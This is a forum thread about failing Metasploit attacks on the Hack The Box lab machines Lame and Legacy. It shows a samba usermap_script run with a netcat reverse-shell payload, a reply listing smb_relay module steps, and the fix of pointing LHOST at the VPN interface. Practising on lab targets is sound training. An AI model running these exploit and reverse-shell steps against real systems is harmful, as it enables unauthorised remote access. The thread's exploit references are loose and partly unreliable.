Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Not able to gain access to Lame & Legacy HTB

Not able to gain access to Lame & Legacy (Hackthebox)

I have tried resetting HTB & tried using manual methods on both of the machines to no avail.

For legacy I tried to use the MS08-068 exploit. Lame I used samba/usermap_script.

Code
msf5 exploit(multi/samba/usermap_script) > options

Module options (exploit/multi/samba/usermap_script):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS  10.10.10.3       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   139              yes       The target port (TCP)


Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.157.129  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf5 exploit(multi/samba/usermap_script) > run
                                                                          
[*] Started reverse TCP handler on 192.168.157.129:4444                    
[*] Exploit completed, but no session was created.                        
msf5 exploit(multi/samba/usermap_script) >
Thanks
I can see that you are trying to attack on Internal network, you better check first from your LHOST to RHOST is reachable or not.

Code
Your  LHOST    192.168.157.129 - Internal subnet
Your  RHOSTS  10.10.10.3  - Internal subnet


You should have try this also for MS08-068 :

PHP Code

<?php 
msf 
> use exploit/windows/smb/smb_relay
msf exploit
(smb_relay) > show targets
    
msf exploit
(smb_relay) > set TARGET < target-id >
msf exploit(smb_relay) > show options
    
msf exploit
(smb_relay) > exploit 
So it turned out my LHOST wasn't set to my tun0 that fixed the issue. Thanks!
im stuck on a box in htb, if anyone can help me out plz message me on telegram @oniono12
thx


Possibly Related Threads...
Thread / Author Replies Views Last Post
by valefarMay 9, 2025 08:01 PM 3 273 May 9, 2025 08:01 PM
Last Post: linkinpork
by carl00sJun 3, 2023 06:34 AM 6 390 Jun 3, 2023 06:34 AM
Last Post: seriouserial
by WhyyymanJan 25, 2022 03:15 PM 0 138 Jan 25, 2022 03:15 PM
Last Post: Whyyyman